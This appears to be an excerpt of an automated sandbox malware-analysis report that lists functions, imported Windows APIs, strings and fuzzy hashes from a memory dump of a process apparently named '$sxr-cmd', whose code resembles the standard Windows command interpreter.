
wcscmp.MSVCRT ref: 00007FF6155081EA
wcscmp.MSVCRT ref: 00007FF6155081FD

Strings

????????.???, xrefs: 00007FF6155081F3
*.*, xrefs: 00007FF6155081E0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcscmp
String ID: *.*$????????.???
API String ID: 3392835482-3870530610
Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction ID: 2630a2398721e90aedb65d19b656939d297b3cbd6557849f66cec7f6bb7c65d6
Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction Fuzzy Hash: 73115229B24E6281E7648B26E44093AB7A1EB44F94F195032DE8DC7B65DF7DE8918700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615519114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF615519146

Strings

%s, xrefs: 00007FF615519179
Null environment, xrefs: 00007FF615519138
CMD Internal Error %s, xrefs: 00007FF61551913F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: fprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 383729395-2781220306
Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction ID: db79eeca450afaf38b41d966f944af83ffdd0cb229c845030478f729038c27b8
Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction Fuzzy Hash: A211513A948E4291EB559F24E9840B9A671EB44FB0F555332DA7DC32F4EF2CEC858740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155009F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF615500A11
wcschr.MSVCRT ref: 00007FF615500A2B

Strings

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF6155009FE
=,;, xrefs: 00007FF615500A24

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswspacewcschr
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$=,;
API String ID: 287713880-1183017076
Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction ID: 5dd429228676dd4c2186383c7daf13307e9bfec3638a4fe36f888773bc75aee7
Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction Fuzzy Hash: 80F04425A1AE62C1EA648B11A400176E6A0FF44F65BC69132E95DC2A74DF3CDC40C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155004F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF615500525
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF615500554

Strings

KERNEL32.DLL, xrefs: 00007FF61550051E
SetThreadUILanguage, xrefs: 00007FF61550054D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1646373207-2530943252
Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction ID: 389643387929320aa9c8a20952eac4a675d2c837cd14a7dd388cf8343523ee0e
Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction Fuzzy Hash: 0D01DA69E09E06D1EA448B21A851174A7A0EF49F75F851736C93EC2BF0DF3CAD859700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155173C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF6155173DF
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF6155173F5

Strings

kernelbase.dll, xrefs: 00007FF6155173D5
RaiseFailFastException, xrefs: 00007FF6155173EE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction ID: 649f85edd84c040fe9a4e63f2b376609e9453408b7288f514dbd751d78fe80ba
Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction Fuzzy Hash: 43F0DA29A18B91D2EA049F22F444079EA60FF8DFE0B899535DA4E87B25CF3CD985C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F1130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F138B

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

Part of subcall function 00007FF6154F1140: towupper.MSVCRT ref: 00007FF6154F11D3

Part of subcall function 00007FF61550417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155041AD

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F14A6

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
Instruction ID: 133d93104126db85b465dbe5183ddadc31e9deaba187379cc81d3b8642f0d4a8
Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
Instruction Fuzzy Hash: 98619232A08B828AE710CB69D4402ADB7A4FB85F68F545236DE5D97BA9DF38D851C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615504878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF6155048DE
_wcsnicmp.MSVCRT ref: 00007FF6155048FF
wcschr.MSVCRT ref: 00007FF61550493E

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: 3f3184218c0a3873c800f9f69b6126b4a8f2dda69b94c9b294b3267afa7dfc1e
Instruction ID: 1362cc4ce82b955282f69be6bc75ce2d8e67ec27abfdaa5e7c9806a6e3774df1
Opcode Fuzzy Hash: 3f3184218c0a3873c800f9f69b6126b4a8f2dda69b94c9b294b3267afa7dfc1e
Instruction Fuzzy Hash: 42519F5AE08E42C5EB60AF1195101B9E7A0EF45FA8F688036CA4EC72F5DF2CED419350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551F358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61551F3B5

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551F401
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551F442
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61551F468

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
Instruction ID: cbbe9d95c71dac51407e4691fccb7cfe5e6a23480ce756a3f12a72d587c380ca
Opcode Fuzzy Hash: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
Instruction Fuzzy Hash: 8A316B36615B828AEB60CF21E8807E9B7A4FB88F94F444135EA5D87B64DF38DA45C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615508F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF615508FF3
RtlLookupFunctionEntry.NTDLL ref: 00007FF615509012
RtlVirtualUnwind.NTDLL ref: 00007FF61550905F
__raise_securityfailure.LIBCMT ref: 00007FF615509144

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction ID: 85c2abf9e9c34adee208fb72f2a32c27ba74692f0423974341d059e4672fef3e
Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction Fuzzy Hash: D3419579A08F41C5EB508B69F890365B364FB98FA4FA04136D98D82774DF7DE946C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615508470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 00007FF61550848E
wcstol.MSVCRT ref: 00007FF6155084A8
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0 ref: 00007FF61550853F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcstol$lstrcmp
String ID:
API String ID: 3515581199-0
Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction ID: 43dd1481b35f5aed69f491ac3edf19cbc09b8da1139e6cbbf91d34288b0476f0
Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction Fuzzy Hash: B021953AA08A42C3E6A14B7990A4539EAA0FF49F68F155135DB4FC2665CF6CEC458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F4F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF6155129C4
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155129E9
_get_osfhandle.MSVCRT ref: 00007FF615512A22
SetFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615512A39

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$TimeWrite
String ID:
API String ID: 4019809305-0
Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction ID: 7ab9c459e266a03951e938743515944c47bf2ca7d977ceb76b5af71e49edfe9f
Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction Fuzzy Hash: 86316469A08A8287E7905F29A484378FBA1AF49FB4F545234D95EC3BB5CF7CDC548700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615521914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61552196F

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155219B3
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155219D6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615521A01

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
Instruction ID: 5eeb0b8df5cb46b67b6ce5a6f7604a19b123b1f2c9f8db512e053651db638c9c
Opcode Fuzzy Hash: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
Instruction Fuzzy Hash: 4C312936705A818AEB208F25D8553E9B7A4FB89F98F454136CA8D87B54DF3CEA45C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551E810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF61551E836
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551E855
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551E877
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551E8AE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction ID: 80ed2fb5830a8dc6f227d349c5b7b3f1c9c547b24aaee2bea99ff06a7dd04b8d
Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction Fuzzy Hash: 94214C39A08F46DAE654AF21A440279FAA1FB85FA1F454135D90E837A5CF3CEC418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615507CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF615507D54
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF615507D68

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction ID: d8868a8ae33d46590d569b622ae7e862535ec2ef49d9c8e7a395e31fd0fd4a17
Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction Fuzzy Hash: A1216269A08F42C6EE049B51A900079F7A1FF89FF4B599230DA1E837B5DF3CE8058700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F6A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615503C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF615503D0C
Part of subcall function 00007FF615503C24: towupper.MSVCRT ref: 00007FF615503D2F
Part of subcall function 00007FF615503C24: iswalpha.MSVCRT ref: 00007FF615503D4F
Part of subcall function 00007FF615503C24: towupper.MSVCRT ref: 00007FF615503D75
Part of subcall function 00007FF615503C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615503DBF

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF6154F6ABF
RtlFreeHeap.NTDLL(?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF6154F6AD3

Part of subcall function 00007FF6154F6B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF6154F6AE8,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6B8B
Part of subcall function 00007FF6154F6B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF6154F6AE8,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6B97
Part of subcall function 00007FF6154F6B84: RtlFreeHeap.NTDLL(?,?,?,?,00007FF6154F6AE8,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6BAF

Part of subcall function 00007FF6154F6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F6AF1,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6B39
Part of subcall function 00007FF6154F6B30: RtlFreeHeap.NTDLL(?,?,?,00007FF6154F6AF1,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6B4D
Part of subcall function 00007FF6154F6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154F6AF1,?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925), ref: 00007FF6154F6B59

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF6154F6B03
RtlFreeHeap.NTDLL(?,?,?,00007FF61551EA0F,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF6154F6B17

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

